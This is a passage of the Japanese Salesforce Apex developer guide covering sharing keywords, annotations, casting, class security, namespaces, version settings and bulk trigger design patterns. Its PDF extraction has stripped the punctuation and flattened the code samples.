ルールが強制実行されるわけではないためApex を使用する開発者はプロファイルに基づく権限項目レベルのセキュリティ組織のデフォルトなどにより通常はユーザから隠されている重要データをうっかり公開することがないように注意しなければなりません特にWeb サービスについては注意が必要ですWeb サービスはプロファイルによって制限できますが初期化された後はシステムコンテキストで実行されます

クラスオブジェクトおよびインターフェース Version 180 | with sharing または without sharing キーワードの使用 | 105

多くの場合システムコンテキストは組織内のすべてのデータへのアクセスが必要なトリガWeb サービスなどに対してシステムレベルの運用の正しい動作を設定しますしかし特定の Apex クラスが現在のユーザに適用されている共有ルールを強制実行するように指定することもできます(共有ルールの詳細はSalesforcecomオンラインヘルプを参照してください)

メモユーザのプロファイルに基づく権限と項目レベルのセキュリティはApexスクリプトが組織内のすべての項目とオブジェクトを参照できることを保証するために常に無視されます特定の項目やオブジェクトがユーザから隠されている場合スクリプトの実行時にコンパイルでエラーが発生します

現在のユーザに適用されている共有ルールを強制実行するにはクラスの宣言時にwith sharingキーワードを使用します例

public with sharing class sharingClass

ここにコードを記述

現在のユーザに適用されている共有ルールを強制実行されないようにするにはクラスの宣言時に without

sharingキーワードを使用します例

public without sharing class noSharing

ここにコードを記述

with sharing も without sharing も使わずにクラスを宣言している場合現在の共有ルールが有効となりますつまりそのクラスが共有が強制実行されているクラスからコールされるとコールされたクラスでも共有が強制実行されます

内部クラスと外部クラスはどちらもwith sharingとして宣言できます共有設定は初期化コードコンストラクタメソッドなどクラスに含まれているすべてのコードに適用されますクラスは1 つのクラスを拡張または実装するとこの設定を親クラスから継承しますしかし内部クラスはコンテナクラスから共有設定を継承しません

public with sharing class CWith このクラスのすべてのコードは共有ルールが強制実行されます

Account a = [select ]

public static void m()

static

public c()

public without sharing class CWithout このクラスのすべてのルールは共有ルールを無視し コンテキストユーザが Modify All Data 権限を所有しているかのように動作しますAccount a = [select ]

public static void m()

CWith へのこのコールはコンテキストユーザに対する 共有ルールが強制実行される状態で動作しますコール

クラスオブジェクトおよびインターフェース Version 180 | with sharing または without sharing キーワードの使用 | 106

が完了すると コードの実行は without sharing モードに戻りますCWithm()

public class CInner このクラスのすべてのコードはこのコードを呼ぶコードと同じ 共有コンテキストで実行されます 内部クラスと外部クラスは分離されています

先ほどと同様にCWith へのこのコールはこの内部クラスを最初にコールしたクラスに関わらず コンテキストユーザに対する共有ルールが強制実行される状態で動作します コールが完了するとコードの実行はこの内部クラスをコールするのに使用された共有モードに戻りますCWithm()

public class CInnerWithOut exends CWithout このクラスは共有ルールを無視する親クラスを拡張しているため このクラスのすべてのコードは共有ルールを無視します

警告 with sharingとして宣言されたクラスがwithout sharingとして動作するスクリプトをコールしないという保証はありませんそのためクラスレベルのセキュリティは常に必要となりますさらにPriceBook2 を使用するすべての SOQL または SOSL クエリはwith sharingキーワードを無視します適用された共有ルールに関わらずすべての PriceBook レコードが返されます

現在のユーザの共有ルールを強制実行すると次のような影響があります

bull SOQL および SOSL クエリ1 つのクエリはシステムコンテキストで動作する場合より少ない行を返す場合があります

bull DML 操作現在のユーザに正しい権限が付与されていない場合操作が失敗する場合がありますたとえばユーザが組織内に存在する外部キー値を指定したものの現在のユーザにはそのキー値へのアクセス権が付与されていない場合などです

アノテーション

Apexアノテーションはメソッドまたはクラスが使用される方法を変更するものでJava のアノテーションと似ています

アノテーションは先頭が記号から始まり適切なキーワードがそれに続きますメソッドにアノテーションを追加するにはメソッド定義またはクラス定義の直前で指定します例

global class MyClass future Public static void myMethod(String a) 長い Apex コード

Apex では次のアノテーションをサポートしています

bull future

bull isTest

bull deprecated

Future

futureアノテーションを使用してメソッドを非同期に実行しますfutureを指定するとSalesforcecom に使用可能なリソースが存在するときにこのメソッドが実行されます

クラスオブジェクトおよびインターフェース Version 180 | アノテーション | 107

たとえば外部サービスへの非同期の Web サービスコールアウトを実行する際に futureアノテーションを使用できますアノテーションがない場合Web サービスコールアウトは Apex スクリプトを実行している同じスレッドから実行されコールアウトが完了するまでのかの処理は発生しません (同期処理)

futureアノテーションのあるメソッドは静的メソッドでなければならずvoid 型のみを返します

クラスのメソッドを非同期に実行するにはfutureアノテーションのあるメソッドを定義します例

global class MyFutureClass

future static void myMethod(String a Integer i) Systemdebug(Method called with +a + and + i) コールアウトを実行その他の長い実行コード

次のスニペットはメソッドがどのようにコールアウトを実行するかを指定します

future (callout=true) public static void doCalloutFromFuture() コールアウトを実行するコードの追加

メソッドがコールアウトを実行しないようにするには(callout=false)を指定します

futureアノテーションで定義されたメソッドをテストするにはstartTeststopTestコードブロックにメソッドを含むクラスを呼び出しますstartTestメソッド後に作成されたすべての非同期コールはシステムによって収集されますstopTestを実行する場合すべての非同期プロセスが同期して実行されます

futureアノテーションのあるメソッドには次のような制限事項があります

bull Apex 呼び出しあたりコールは最大 10 メソッド

メモ startTestブロックおよび stopTestブロックで呼び出された futureまたは executeBatch

などの非同期コールはキュー内ジョブ数の制限に対してカウントされません

bull futureアノテーションを含むメソッドはtestMethodのコンテキスト内にある場合100 件の SOQL クエリーを実行できます

bull Salesforcecom ライセンスあたりコールは 24 時間ごとに最大 200 メソッドbull 指定されたパラメータはプリミティブデータ型プリミティブデータ型の配列プリミティブデータ型のコ

レクションでなければなりませんbull futureアノテーションのあるメソッドはsObject またはオブジェクトを引数としてとることはできませんbull futureアノテーションを含むメソッドはVisualforceコントローラのgetMethodNameまたはsetMethodName

メソッド内でもコンストラクタ内でも使用できません

futureアノテーションを使用するすべてのメソッドはメソッドがコールされた順番に実行されるとは限らないため特に考慮する必要があります

futureアノテーションのあるメソッドを同様に futureアノテーションのあるメソッドからコールすることはできませんまたアノテーションを含む別のメソッドをコールしているアノテーションを含むメソッドからトリガをコールすることはできません

コールアウトの詳細は「Apex を使ったコールアウトの呼び出し (ページ 173)」を参照してください

クラスオブジェクトおよびインターフェース Version 180 | Future | 108

IsTest

isTestアノテーションを使用してアプリケーションのテストに使用するコードのみを含むクラスまたは個別のメソッドを定義しますisTestアノテーションはtestMethodとして宣言したメソッドの作成と似ています

メモ isTestで指定したクラスは1 MB という Apex スクリプトの組織内の上限には含まれませんfutureアノテーションのある個別のメソッドは組織の上限の制限を受けます詳細は「実行ガバナーと制限の理解」を参照してください

isTestとして定義されたすべてのクラスとメソッドは privateとして宣言する必要があります例

isTest private class MyTest

テストのメソッド

isTestとして定義されたクラスはインターフェースまたは enum 値とすることはできません

isTestとして定義されたクラスはForcecom runTests() API コールまたは Salesforcecom ユーザインターフェース ([Run Tests]ボタンを使用) からのみ起動できます別のクラスまたはトリガからはコールできません

Deprecated

deprecatedアノテーションを使用して今後のリリースの管理パッケージでは参照できないメソッドクラス例外列挙インタフェース変数を示すことができます管理パッケージのコードをリファクタリングする場合に役立ちます新しい登録者は破棄された要素を参照することはできませんが要素は既存の登録者および API 統合に機能し続けます

次のコードスニペットは破棄されたメソッドを示します同じシンタックスを使用してクラス例外列挙インターフェースまたは変数を破棄できます

deprecated このメソッドは deprecated です代わりに myOptimizedMethod(String a String b)を使用します public void myMethod(String a)

Apex 識別子を破棄する場合次のルールに注意してください

bull 非管理パッケージにはdeprecatedキーワードを使用するコードを含めることはできませんbull Apexの場合またはカスタムオブジェクトが破棄される場合破棄された識別子を参照するすべてのglobal

アクセス修飾子も破棄する必要があります署名入力引数またはメソッドが返す結果で破棄された種類を使用する global メソッドも破棄する必要がありますメソッドまたはクラスなど破棄された項目は最初はパッケージ開発者によって参照できます

bull webServiceメソッドおよび変数は破棄できませんbull enumは破棄できますが各 enum値は破棄できませんbull インターフェースは破棄できますがインターフェースの各メソッドは破棄できまさせんbull 抽象クラスは破棄できますが抽象クラスの各抽象メソッドは破棄できませんbull Apexのの項目が破棄されたパッケージをリリースした後deprecatedアノテーションを削除してApex識別

子の非推奨を取り消すことはできません

クラスオブジェクトおよびインターフェース Version 180 | IsTest | 109

パッケージバージョンの詳細は「管理パッケージでの Apex の開発 (ページ 165)」を参照してください

クラスとキャスト

通常すべての型情報は実行時に利用できますつまりApex はキャストを許可していますキャストとはあるクラスのデータ型を別のクラスのデータ型として割り当てることですただし割り当てるクラスが元のクラスの子である場合に限りますあるデータ型のオブジェクトを別のデータ型に変換する場合にキャストを使用します

次の例ではCustomReportが Reportクラスを拡張していますそのためそのクラスの子となっていますつまり親のデータ型 (Report) のオブジェクトを子のデータ型 (CustomReport) のオブジェクトにキャストできます

次のコードブロックではまずレポートオブジェクトのリストにカスタムレポートオブジェクトが追加されますその後カスタムレポートオブジェクトがレポートオブジェクトとして返されカスタムレポートオブジェクトとして再度キャストされます

Public virtual class Report

Public class CustomReport extends Report レポートオブジェクトのリストを作成Report[] Reports= new Report[5]

カスタムレポートオブジェクトを作成CustomReport a = new CustomReport()

カスタムレポートオブジェクトが Report クラスのサブクラスであるため カスタムレポートオブジェクトをレポートオブジェクトのリストに追加できますReportsadd(a)

次の手順は有効ではありませんなぜならコンパイラには返されているものが カスタムレポートであることが分からないからですどのような型が返されるかを通知するには キャストを使用しなければなりませんCustomReport c = Reportsget(0)

その代わりにカスタムレポートオブジェクトに再度キャストすることによりリストの最初の項目を取得しますCustomReport c = (CustomReport) Reportsget(0)

クラスオブジェクトおよびインターフェース Version 180 | クラスとキャスト | 110

図 7 キャスト例

さらにインターフェース型はサブインターフェースまたはそのインターフェースを実装しているクラス型にキャストできます

ヒント あるクラスが特定の型のクラスであることを確認するにはinstanceOfキーワードを使用します詳細は「instanceofキーワードの使用」 (ページ 103)を参照してください

クラスとコレクションリストとマップはsObjects で使用するのと同じようにクラスやインターフェースでも使用できますつまりユーザ定義のデータ型はマップの値のみで使用できキーでは使用できません同様にユーザ定義オブジェクトセットは作成できません

インターフェースのマップやリストを作成した場合インターフェースの子タイプはコレクションに入れることができますたとえばリストにインタフェース i1が含まれておりMyCが i1を実装している場合MyCをリストに含めることができます

コレクションキャストApex のコレクションには実行時に宣言型が存在するためApex ではコレクションキャストを許可しています

クラスオブジェクトおよびインターフェース Version 180 | クラスとコレクション | 111

コレクションはJava で配列をキャストするのと似た方法でキャストされますたとえばCustomerPurchaseOrderクラスが PurchaseOrderクラスの子である場合CustomerPurchaseOrder オブジェクトのリストを PurchaseOrder オブジェクトのリストに割り当てることができます

public virtual class PurchaseOrder

Public class CustomerPurchaseOrder extends PurchaseOrder

ListltPurchaseOrdergt POs = new PurchaseOrder[] ListltCustomerPurchaseOrdergt CPOs =new CustomerPurchaseOrder[] POs = CPOs

CustomerPurchaseOrderリストが PurchaseOrderリスト変数に割り当てられるとCustomerPurchaseOrder オブジェクトのリストに再度キャストすることができますこれはそのインスタンスが最初はCustomerPurchaseOrder のリストとしてインスタンス化されたためですこのようにインスタンス化されたPurchaseOrder オブジェクトのリストはPurchaseOrder オブジェクトのリストに CustomerPurchaseOrder オブジェクトのみが含まれている場合でもCustomerPurchaseOrder オブジェクトのリストにキャストできません

CustomerPurchaseOrders オブジェクトのみを含む PurchaseOrder リストのユーザ が PurchaseOrderの非CustomerPurchaseOrder サブクラス (InternalPurchaseOrderなど) を挿入しようとすると実行時に例外が発生しますこれはApex には実行時に宣言型が存在するためです

メモ マップの動作もマップの値側からみるとリストと同様ですマップ A の値側をマップ B の値側にキャスト可能でキータイプが同じである場合マップ A はマップ B にキャストできます実行時に特定のマップのキャストが有効でない場合ランタイムエラーが発生します

Apex クラスと Java クラスの違い

次にApex と Java クラスの主な違いについて示します

bull 内部クラスとインターフェースは外部クラスの 1 つ下のレベルでのみ宣言できますbull 静的メソッドと変数は内部クラスではなくトップレベルクラスでのみ宣言できますbull 内部クラスは静的Java内部クラスのように機能しますがstaticキーワードを要求しません内部クラス

は外部クラスのようにインスタンスメンバー変数を持つことができますが thisキーワードを使った 外部クラスのインスタンスへの暗黙的ポインタはありません

bull デフォルトのアクセス修飾子は privateですつまりメソッドまたは変数は定義された Apex クラス内からのみアクセス可能ですアクセス修飾子を指定しない場合メソッドや変数は privateとなります

bull メソッドまたは変数にアクセス修飾子を指定しない場合はprivateアクセス修飾子を指定した場合と同じ意味となります

bull publicアクセス修飾子はメソッドまたは変数がこのアプリケーションまたは名前空間内のすべての Apexで使用可能なことを意味します

bull globalアクセス修飾子はメソッドまたは変数が同じアプリケーション内の Apex スクリプトだけではなくクラスへのアクセス権を付与されたすべてのApexスクリプトで使用可能なことを意味しますこのアクセス修飾子はForcecom Web サービス API やその他の Apex スクリプトのいずれかでアプリケーション外から参照する必要があるメソッドで使用しますメソッドまたは変数をglobalとして宣言した場合それを含むクラスも globalとして宣言する必要があります

bull デフォルトではメソッドおよびクラスはファイナルとなります

- virtual定義修飾子は拡張やオーバーライドを許可します

クラスオブジェクトおよびインターフェース Version 180 | Apex クラスと Java クラスの違い | 112

- overrideキーワードは基本クラスメソッドをオーバーライドするメソッドで明示的に使用する必要があります

bull インターフェースメソッドには修飾子はなく常に global となりますbull 例外クラスは例外または別のユーザ定義例外への拡張が必要です

- 例外クラス名の末尾にはexceptionをつけなければなりません- 例外クラスは 4 つの暗黙的なコンストラクタが組み込まれていますが追加することもできます

詳細は「例外クラス」 (ページ 315)を参照してくださいbull クラスとインターフェースはトリガや匿名ブロック内で定義できますがローカルとしてのみ定義できます

クラス定義作成

Salesforcecom でクラスを作成する手順は次のとおりです

1 アプリケーションで[設定] [開発] [Apex クラス] をクリックします2 [New] をクリックします3 [バージョン設定]をクリックしてこのクラスで使用するApexおよびAPIのバージョンを指定します組織

がAppExchangeから管理パッケージをインストールした場合このクラスで使用する各管理パッケージのバージョンも指定できます通常はすべてのバージョンについてデフォルト値を使用してくださいデフォルト値ではApexおよびAPIについても各管理パッケージについてもクラスを最新バージョンに関連付けます最新バージョンのパッケージのものとは異なるコンポーネントや機能にアクセスする場合は管理パッケージの古いバージョンを指定することもできます古いバージョンのApexおよびAPIを指定して特定の動作を維持できます

4 [内容]テキストボックスでそのクラスのApexを入力します1 つのクラスは最大100000文字までです5 [保存] をクリックし変更を保存してクラスの詳細画面に戻るか[適用] をクリックし変更を保存してク

ラスの編集を続行します作成したApexスクリプトはクラスに保存する前に間違いなくコンパイルする必要があります

[WSDL からの生成] をクリックしてWSDL から自動的にクラスを生成することもできます「SOAP サービス WSDL ドキュメントからのクラスの定義 (ページ 174)」を参照してください

いったん保存するとクラスはその他の Apex スクリプトからクラスメソッドや変数を介して呼び出すことができます

メモ 下位互換性を持たせるためクラスはApex および API の特定のバージョンのバージョン設定とともに保存されますApex クラスがインストール済みの管理パッケージ内でカスタムオブジェクトなどのコンポーネントを参照する場合クラスが参照する各管理パッケージのバージョン設定も同時に保存されますまたクラスは最後にコンパイルされて以降依存するメタデータに変更がない限りisValidフラグを trueに設定して保存しますオブジェクトや項目の説明の編集などの表面的な変更も含めクラスで使用されているオブジェクト名や項目に変更があった場合またはこのクラスを呼び出すクラスに変更があった場合にはisValidフラグが falseに設定されますトリガまたは Web サービスコールによってクラスが呼び出されるとコードが再コンパイルされエラーが存在する場合にはユーザに通知されますエラーがない場合はisValidフラグが trueにリセットされます

クラスオブジェクトおよびインターフェース Version 180 | クラス定義作成 | 113

Apex クラスエディタ

VisualforceまたはApexを編集するときVisualforce開発モードフッターでまたは設定から次の機能を持つエディタを使用できます

構文の強調表示エディタはキーワードとすべての関数および演算子について自動的に構文を強調表示します

検索 ( )

検索により現在のページクラスまたはトリガの中のテキストを検索できます検索を使用するには[検索]テキストボックスに文字列を入力し[次を検索] をクリックします

bull 検出した検索文字列を他の文字列に置き換えるには[置換]テキストボックスに新しい文字列を入力しそのインスタンスだけを置き換える場合は [置換] をクリックしそのインスタンスとそれ以外にそのページクラスまたはトリガに出現する検索文字列のすべてのインスタンスを置き換える場合は[すべて置換] をクリックします

bull 検索操作で大文字小文字を区別するには[大文字と小文字を区別する] オプションをオンにしますbull 検索文字列として正規表現を使用するには[正規表現]オプションをオンにします正規表現はJavaScript

の正規表現規則に従います正規表現を使った検索では折り返しされて複数行になる文字列も検索できます

正規表現で検出した文字列を置換操作で使用する場合検出した検索文字列から得られる正規表現のグループ変数 ($1$2など) をバインドすることもできますたとえばltH1gtタグを ltH2gtタグで置き換え元の ltH1gtの属性はすべてそのままにするにはltH1(s+)()gtを検索しそれを ltH2$1$2gtで置き換えます

指定行に移動 ( )

このボタンにより指定した行番号を強調表示できますその行が現在表示されていない場合はエディタがその行までスクロールします

元に戻す ( ) またはやり直し ( )

[元に戻す] を使用して編集動作を取り消し[やり直し] により元に戻した編集動作をやり直します

フォントサイズドロップダウンリストからフォントサイズを選択しエディタに表示される文字のサイズを制御します

行と列の位置

カーソルの行と列の位置はエディタ下部のステータスバーに表示されますこれは[指定行に移動] ( )とともに使用しエディタ内をすばやく移動できます

行と文字のカウント行と文字の合計数はエディタ下部のステータスバーに表示されます

名前付け規則Salesforcecom は名前付けには次の Java 標準をお勧めしていますその標準ではクラス名は大文字から始まりメソッドは小文字の動詞から始まり変数名は意味を持つものにするという規則です

クラスオブジェクトおよびインターフェース Version 180 | 名前付け規則 | 114

同じクラスのクラスとインターフェースに同じ名前をつけることはできません外部クラスと内部クラスに同じ名前をつけることもできませんしかしメソッドと変数はクラス内に独自の名前空間があるためこの 3 つのタイプの名前は競合しません特にクラス内の変数メソッドクラスに同じ名前をつけることは有効です

名前のシャドウイングメンバー変数は特に関数の引数においてローカル変数でシャドウイングされますこれにより標準 Java 形式のメソッドやコンストラクタは次のように処理されます

Public Class Shadow String s Shadow(String s) thiss = s 同じ名前でも問題なしsetS(String s) thiss = s 同じ名前でも問題なし

1 つのクラスのメンバー変数は親クラスの同じ名前のメンバー変数をシャドウイングできます異なるトップレベルクラスの 2 つのクラスが異なるチームによって記述されている場合は有効ですたとえば一方にはクラス C への参照が含まれており親クラス P のメンバー変数 M (C のメンバー変数と同じ名前) へアクセスしたいとします参照はまず P への参照から割り当てます

静的変数はクラス階層間でシャドウイングできますそのためP が静的変数 S を定義するとサブクラス C も静的変数 S を宣言できますC 内の S への参照はその静的変数を参照しますP の静的変数を参照するには構文 PS を使用する必要があります

静的クラス変数はクラスインスタンスを通じて参照することはできません本来の変数名自体 トップレベルクラスファイル内 またはクラス名をつけたプレフィックスを使用して参照しなければなりません例

public class p1 public static final Integer CLASS_INT = 1 public class c p1c c= new p1c() 無効 Integer i = cCLASS_INT 正しい記述Integer i = p1CLASS_INT

クラスセキュリティ

ユーザプロファイルに基づいて特定の最上位レベルの でメソッドを実行できるユーザを指定できますトリガーではなくてApex上にだけセキュリティの設定が可能な点に留意ください

クラス一覧ページから Apex クラスのセキュリティを設定する手順は次のとおりです

1 [設定] [開発] [Apex クラス] をクリックします2 制限するクラス名の横にある [セキュリティ] をクリックします3 [選択可能なプロファイル] リストから有効にするプロファイルを選択し[追加] をクリックします4 [有効にされたプロファイル] リストから無効にするプロファイルを選択し[取り消し] をクリックします5 [保存] をクリックします

プロファイルの詳細ページから Apex クラスのセキュリティを設定する手順は次のとおりです

1 [設定] [ユーザの管理] [プロファイル] をクリックします2 変更するプロファイルの名前をクリックします3 [有効にされた Apex クラスアクセス] 関連リストから[編集] をクリックします4 [利用可能な Apex クラス] リストから有効にする Apex クラスを選択し[追加] をクリックします5 [有効にされた Apex クラス] リストから無効にする Apex クラスを選択し[削除] をクリックします

クラスオブジェクトおよびインターフェース Version 180 | 名前のシャドウイング | 115

6 [保存] をクリックします

名前空間プレフィックス

アプリケーションは名前空間プレフィックスの使用をサポートしています名前空間プレフィックスは管理された Forcecom AppExchange で使用されカスタムオブジェクトと項目名を他の組織で使用されているものと区別するために使用します開発者がグローバルで一意な名前空間プレフィックスを登録しAppExchangeレジストリに登録すると開発者の管理パッケージのカスタムオブジェクトおよび項目名への外部参照は次のような長い形式となります

namespace_prefix__obj_or_field_name__c

この完全修飾名はSOQL 文SOSL 文Apexでクラスが「管理済み」に設定されると更新が煩雑であるためApex はスキーマ名のデフォルトの名前空間をサポートしていますID を見るとパーサーは現在のオブジェクトの名前空間であると考え指定されていない限り他のすべてのオブジェクトと項目の名前空間であると判断しますその結果格納されているクラスは同じアプリケーション名前空間で定義されているオブジェクトに対して obj_or_field_name__cを使用してカスタムオブジェクトと項目名を直接参照します

ヒント AppExchange から組織にインストールされた管理パッケージのカスタムオブジェクトと項目を参照する場合のみ名前空間プレフィックスを使用します

メソッドの起動での名前空間の使用管理パッケージで定義されたメソッドを起動するにはApex は次の形式の完全修飾識別子を許可します

namespace_prefixclassmethod(args)

組み込み静的クラスとユーザ定義クラスとのあいまいさをなくすために特別な名前空間 Systemを使用します(SystemSystemdebug()) など

System名前空間プレフィックスがないと次に示すとおりMathや Systemなどのシステム静的クラス名が同じ名前ののユーザ定義クラスでオーバーライドされてしまいます

ヒント AppExchange から組織にインストールされた管理パッケージのメソッドを起動する場合のみ名前空間プレフィックスを使用します

名前空間クラス変数名の優先度ローカル変数クラス名名前空間が同じ識別子を使用することは仮定上可能であるためApex パーサーは次のように name1name2[]nameN形式の式を評価します

1 パーサーはまず name1が name2から nameNを項目参照として持つローカル変数であると仮定します2 最初の仮定が真でない場合パーサーは name1がクラス名でありname2が name3から nameNを項目参照と

して持つ静的変数名であると仮定します3 2 つ目のの仮定が真でない場合パーサーは name1が名前空間名name2がクラス名name3が静的変数名

でありname4から nameNが項目参照であると仮定します

クラスオブジェクトおよびインターフェース Version 180 | 名前空間プレフィックス | 116

4 3 つ目の仮定も真でない場合はパーサーはエラーを返します

式が 1 組のかっこで終了する場合 (name1name2[]nameMnameN()など)Apex パーサーは式を次のように評価します

1 パーサーはまず name1が name2から nameMを項目参照として持つローカル変数nameNがメソッド呼び出しであると仮定します

2 最初の仮定が真でない場合次の処理を行います

bull 式に識別子が 2 つしか含まれていない場合 (name1name2())パーサーはname1がクラス名で name2がメソッド呼び出しであると仮定します

bull 式に識別子が 3 つ以上含まれている場合パーサーは name1がクラス名name2が name3から nameMを項目参照として持つ静的変数名nameNがメソッド呼び出しであると仮定します

3 2 つ目のの仮定が真でない場合パーサーは name1が名前空間名name2がクラス名name3が静的変数名でありname4から nameMが項目参照nameNがメソッド呼び出しであると仮定します

4 3 つ目の仮定も真でない場合はパーサーはエラーを返します

ただしクラス変数については Apex はメンバー変数の参照にドット表記を使う場合もありますそれらのメンバー変数は他のクラスインスタンスを参照することもまた項目名への参照 (外部キーのアクセスのためなど)に独自のドット表記ルールを持つ sObject を参照することもあります

式に sObject 項目を入力すると式の残りは sObject ドメインにとどまりますつまりsObject 項目は Apex 式を再度参照することはできません

たとえば次のクラスがあるとします

public class c c1 c1 = new c1() class c1 c2 c2 class c2 Account a

その場合次の式はすべて有効です

cc1c2aname cc1c2aownerlastNametoLowerCase() cc1c2ataskscc1c2acontactssize()

型の解決と型のシステム名前空間システム型はローカルまたは他のクラスで定義されたユーザ定義型を解決しなければならないためApex パーサーは次のように型を評価します

1 型参照 TypeNではパーサーはまずその型をスカラー型として参照します2 TypeNが見つからない場合パーサーはローカルで定義された型を参照します3 そこでも TypeNが見つからない場合パーサーはその名前のクラスを参照します4 そこでも TypeNが見つからない場合パーサーは sObjects などのシステム型を参照します

型 T1T2はトップレベルクラス T1の内部型 T2または名前空間 T1のトップレベルクラス T2のいずれかを意味します (優先度はこの順序のとおり)

クラスオブジェクトおよびインターフェース Version 180 | 型の解決と型のシステム名前空間 | 117

バージョン設定

下位互換性を持たせるためクラスおよびトリガは特定の Salesforcecom API バージョンのバージョン設定とともに保存されますApexクラスまたはトリガがインストール済みの管理パッケージ内でカスタムオブジェクトなどのコンポーネントを参照する場合クラスが参照する各管理パッケージのバージョン設定も同時に保存されますApexAPIおよび管理パッケージのコンポーネントが次のリリースバージョンにアップグレードされた場合でもクラスまたはトリガは特定の既知の動作のバージョンにバインドされたままになります

インストール済みパッケージのバージョン設定を行うとインストール済みパッケージの Apex コードの公開されるインターフェースおよび動作が決まりますこれによりコードが廃止される前のバージョンのパッケージをインストールした場合最新バージョンのインストールパッケージで廃止される場合がある Apex を継続して参照できます

通常は最新のSalesforcecom APIバージョンの各インストールパッケージバージョンを参照しますSalesforcecomAPI バージョンを指定せずに Apex クラスまたはトリガを保存するとクラスまたはトリガはデフォルトで最新のインストールバージョンと関連付けられます管理パッケージのバージョンを指定せずに管理パッケージを参照する Apex クラスまたはトリガを保存する場合クラスまたはトリガはデフォルトで管理パッケージの最新のインストールバージョンに関連付けられます

クラスおよびトリガの Salesforcecom API バージョン設定クラスまたはトリガに Salesforcecom API および Apex のバージョンを設定する手順は次のとおりです

1 クラスまたはトリガのいずれかを編集して[バージョン設定] をクリックします2 Salesforcecom API のバージョンを選択します このバージョンはクラスまたはトリガに関連付けられてい

る Apex のバージョンでもあります3 [保存] をクリックします

メソッドコールのパラメータとしてオブジェクトを Apex クラスの C1 から C2 に渡しC2 では SalesforcecomAPI のバージョン設定により異なる項目が公開された場合オブジェクトの項目は C2 のバージョン設定によって制御されます

次の例を使用してテストクラス C1 のメソッドからクラス C2 の insertIdeaメソッドを呼び出した後に [カテゴリ]項目が nullに設定されます[カテゴリ]項目はバージョン 130 の API では使用できないためです

最初のクラスは Salesforcecom API バージョン 130 を使用して保存されます

このクラスは Salesforce API バージョン 130 を使用して保存されます バージョン 130 にはIdeacategories 項目のグローバルクラス C2 は含まれていません global Idea insertIdea(Idea a) insert a カテゴリ項目は挿入時 Null に設定されます

新しいアイデアを取得します Idea insertedIdea = [SELECT title FROM Idea WHERE Id =aid]

return insertedIdea

次のクラスは Salesforcecom API バージョン 160 を使用して保存されます

isTest このクラスはバージョン設定によって API バージョン 160 にバインドされます private classC1 static testMethod void testC2Method() Idea i = new Idea() iCommunityId =09aD000000004YCIAY iTitle = Testing Version Settings ibody = Categories field isincluded in API version 160 icategories = test

クラスオブジェクトおよびインターフェース Version 180 | バージョン設定 | 118

C2 c2 = new C2() Idea returnedIdea = c2insertIdea(i) 新しいアイデアを取得します IdeaideaMoreFields = [SELECT title categories FROM Idea WHERE Id = returnedIdeaid]

このクラスで作成されたオブジェクトのカテゴリ項目が null でないことを確認しますSystemassert(icategories = null) assert that the categories field created in C2 isnull Systemassert(ideaMoreFieldscategories == null)

Apex クラスおよびトリガのパッケージバージョンの設定クラスまたはトリガのパッケージバージョン設定を定義する手順は次のとおりです

1 クラスまたはトリガのいずれかを編集して[バージョン設定] をクリックします2 クラスまたはトリガによって参照される各管理パッケージの [バージョン]を選択します管理パッケージの

このバージョンはより新しいバージョンの管理パッケージがインストールされてもバージョン設定を手動で更新しない限りクラスまたはトリガによって引き続き使用されますインストール済み管理パッケージを設定リストに追加するには使用可能なパッケージのリストからパッケージを選択しますリストはクラスまたはトリガにまだ関連付けられていないインストール済み管理パッケージがある場合にのみ表示されます

3 [保存] をクリックします

パッケージバージョン設定を使用する場合は次のことに注意してください

bull 管理パッケージのバージョンを指定せずに管理パッケージを参照するApexクラスまたはトリガを保存する場合Apex クラスまたはトリガはデフォルトで管理パッケージの最新のインストールバージョンに関連付けられます

bull パッケージをクラスまたはトリガで参照している場合は管理パッケージのバージョン設定は [削除] できません[連動関係の表示] を使用してクラスまたはトリガから参照されている管理パッケージがどこにあるか検索できます

クラスオブジェクトおよびインターフェース Version 180 | Apex クラスおよびトリガのパッケージバージョンの設定 | 119

第 5 章

Apex デザインパターン

すべてのプログラム言語同様開発者は良いデザインパターンまたは悪いデザインパターンを使用できますこの章ではベストプラクティスについて説明し共通の不備について示しながら2 つのデザインパターンの違いを示します

トリガと一括要求

一般的な開発の不備はトリガの呼び出しに複数のレコードが含まれないことが想定されますApexトリガは一括で操作するよう最適化されています定義によっては開発者が一括操作をサポートするロジックを記述する必要があります

エラーが発生するプログラミングパターンの例を次に示しますトリガ呼び出しの間取り込まれるレコードは1 件のみと想定します多くのユーザインターフェースイベントはサポートされますがForcecom Web servicesAPI または Visualforce を使用して呼び出された一括操作はサポートされません

trigger MileageTrigger on Mileage__c (before insert before update) user c = [SELECT IdFROM user where mileageid__c =triggernew[0]id]

エラーが発生するもう 1 つのプログラミングパターンの例を次に示しますトリガ呼び出しの間取り込まれるレコードは 20 件未満と想定します要求に 20 件を超えるレコードが取り込まれるとトリガはトリガ内 20件の SELECT 文の SOQL クエリーの制限を超えます

trigger MileageTrigger on Mileage__c (before insert before update) for(mileage__c m triggernew) user c = [SELECT Id FROM user where mileageid__c =mid]

ガバナー制限の詳細は「実行ガバナーと制限の理解」を参照してください

次の例ではガバナー制限を重視しトリガの一括処理をサポートする適切なパターンを示します

Trigger MileageTrigger on Mileage__c (before insert before update) setltIDgt ids =TriggernewkeySet() listltusergt c = [SELECT Id FROM user WHERE mileageid__c in ids]

このパターンはTriggernewコレクションをセットに渡し単一の SOQL クエリのセットを使用してトリガの一括処理を行いますこのパターンはSOQL クエリの数を宣言しますが要求内のすべてのレコードをすべて取得します

一括プログラムのデザインのベストプラクティス

次はデザインパターンのベストプラクティスです

bull コレクションにレコードを追加しそれらのコレクションに対して DML 操作を実行することによってデータ操作言語 (DML) の数を最小化します

bull レコードを処理しセットを生成することによって SOQL 文を最小化しますIN句で使用される 1 つのSOQL 文に置き換えることができます

Apex デザインパターン Version 180 | トリガと一括要求 | 121

第 6 章

Apex のテスト

ここではApex のテストに Forcecom プラットフォームで使用できるツールのほかテストの概要について説明します

トピック

bull Apex のテストについてbull Apex のテストについてbull Apex のユニットテストbull Apex のユニットテストbull ユニットテストメソッドの実行bull ユニットテストメソッドの実行bull ベストプラクティスのテストbull ベストプラクティスのテストbull テストの例bull テストの例

Apex のテストについて

テストは長期間の開発を正常に行うためにキーとなるもので開発プロセスの重要な部分を占めますテストベースの開発プロセスつまりコード開発と同じ回数行うテスト開発を使用することを強くお勧めします

Apex テストの理由アプリケーションが正常に機能するために特にアプリケーションが顧客に配布される場合はテストを行うことが重要ですアプリケーションが期待された通りに機能すること予期しない動作がないことが確認されれば顧客の信頼度が向上します

